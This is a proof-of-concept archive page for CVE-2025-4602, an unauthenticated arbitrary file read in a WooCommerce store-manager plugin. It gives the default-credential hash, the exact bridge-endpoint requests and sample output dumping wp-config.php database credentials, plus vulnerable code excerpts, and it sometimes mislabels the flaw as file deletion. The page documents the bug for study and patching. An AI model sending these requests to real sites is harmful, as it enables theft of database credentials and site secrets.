Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-4602 PoC — eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Read

Source
Associated Vulnerability
Title:eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Read (CVE-2025-4602)
Description:The eMagicOne Store Manager for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Reads in all versions up to, and including, 1.2.5 via the get_file() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. This is only exploitable by unauthenticated attackers in default configurations where the the default password is left as 1:1, or where the attacker gains access to the credentials.
Description
eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Read
Readme
# eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Read

The [eMagicOne Store Manager for WooCommerce](https://wordpress.org/plugins/store-manager-connector/) plugin exposes a remote management protocol endpoint (`?connector=bridge`) that allows file deletion operations on the server. The authentication mechanism relies on a default credential pair (`login=1`, `password=1`) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and read arbitrary files from the WordPress root or any accessible directory.


## Reproduction
A POC [CVE-2025-4602.py](./CVE-2025-4602.py) is provided to demonstrate reading the `wp-config.php` file from the server.

```
python3 CVE-2025-4602.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Getting file...
[*] File Content: <?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'lab1' );

/** Database username */
define( 'DB_USER', 'homestead' );

/** Database password */
define( 'DB_PASSWORD', 'secret' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...
...
...
...
...
```



## Vulnerable Flow
### Default Credentials and Hash Calculation

On plugin activation, the following constants are set in `smconnector.php`:

```php
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
```

The default hash used for authentication is:
```php
'smconnector_hash'   => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
```
**Result:** The default hash is `md5('1' . '1')` = `c4ca4238a0b923820dcc509a6f75849b`.


### Session Key Acquisition
A session key is obtained by sending a POST request to the bridge endpoint with the hash and a task (e.g., `get_version`):

```http
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded

hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
```

**Relevant code:**  
`classes/class-emosmconnectorcommon.php` (lines ~441-525):

```php
private function check_auth() {
    if ( $this->shop_cart->isset_request_param( 'key' ) ) {
        // ... session key validation ...
    } elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
        $hash = (string) $this->shop_cart->get_request_param( 'hash' );
        if ( ! $this->is_hash_valid( $hash ) ) {
            // ... error ...
        }
        $key = $this->generate_session_key( $hash );
        // ... return session key ...
    }
}
```

---

### Session Key Storage
The session key is stored in the `wp_smconnector_session_keys` table:

```php
private function generate_session_key( $hash ) {
    $key = hash( 'sha256', $hash . $timestamp );
    $sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
        . "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
        . $date . "', '" . $date . "')";
    $this->shop_cart->exec_sql( $sql );
    return $key;
}
```




### Arbitrary File Read
With a valid session key, an attacker can read a files using the `get_file` task:


```http
POST /?connector=bridge&task=get_file&key=<session_key>&entity_type=.&filename=wp-config.php

```

**Relevant code:**
`classes/class-emosmconnectorcommon.php` (lines ~2219+):

```php
2219	        /** Get file */
2220	        private function get_file() {
2221	                if ( ! $this->shop_cart->isset_request_param( 'entity_type' ) ) {
2222	                        $this->generate_error( $this->br_errors['entitytype_param_missing'] );
2223	                }
2224	
2225	                if ( ! $this->shop_cart->isset_request_param( 'filename' ) ) {
2226	                        $this->generate_error( $this->br_errors['filename_param_missing'] );
2227	                }
2228	
2229	                $entity_type = (string) $this->shop_cart->get_request_param( 'entity_type' );
2230	                $filename    = (string) $this->shop_cart->get_request_param( 'filename' );
2231	
2232	                if ( empty( $entity_type ) ) {
2233	                        $this->generate_error( $this->br_errors['entitytype_param_empty'] );
2234	                }
2235	
2236	                if ( empty( $filename ) ) {
2237	                        $this->generate_error( $this->br_errors['filename_param_empty'] );
2238	                }
2239	
2240	                $file_path = $this->shop_cart->get_file( $entity_type, $filename );
2241	
2242	                if ( $file_path && $this->shop_cart->file_exists( $file_path ) ) {
2243	                        header( 'Content-Type: image/jpeg' );
2244	                        header( 'Content-Length: ' . $this->shop_cart->file_size( $file_path ) );
2245	                        readfile( $file_path );
2246	                } else {
2247	                        $this->generate_error( 'File is missing' );
2248	                }
2249	        }
```


File deletion in `class-emosmcwoocommerceoverrider.php` (lines ~380+)::
```php
426	        public function get_file( $folder, $filename ) {
427	                $folder   = trim( $folder, '/' );
428	                $filename = ltrim( $filename, '/' );
429	                if ( empty( $folder ) ) {
430	                        return $this->get_shop_root_dir() . $filename;
431	                }
432	
433	                return $this->get_shop_root_dir() . "$folder/$filename";
```
**Result:** The file is returned from the server.

File Snapshot

[4.0K] /data/pocs/3009f048521246dc16baa40f587d86961cf56425 ├── [2.3K] CVE-2025-4602.py └── [6.3K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →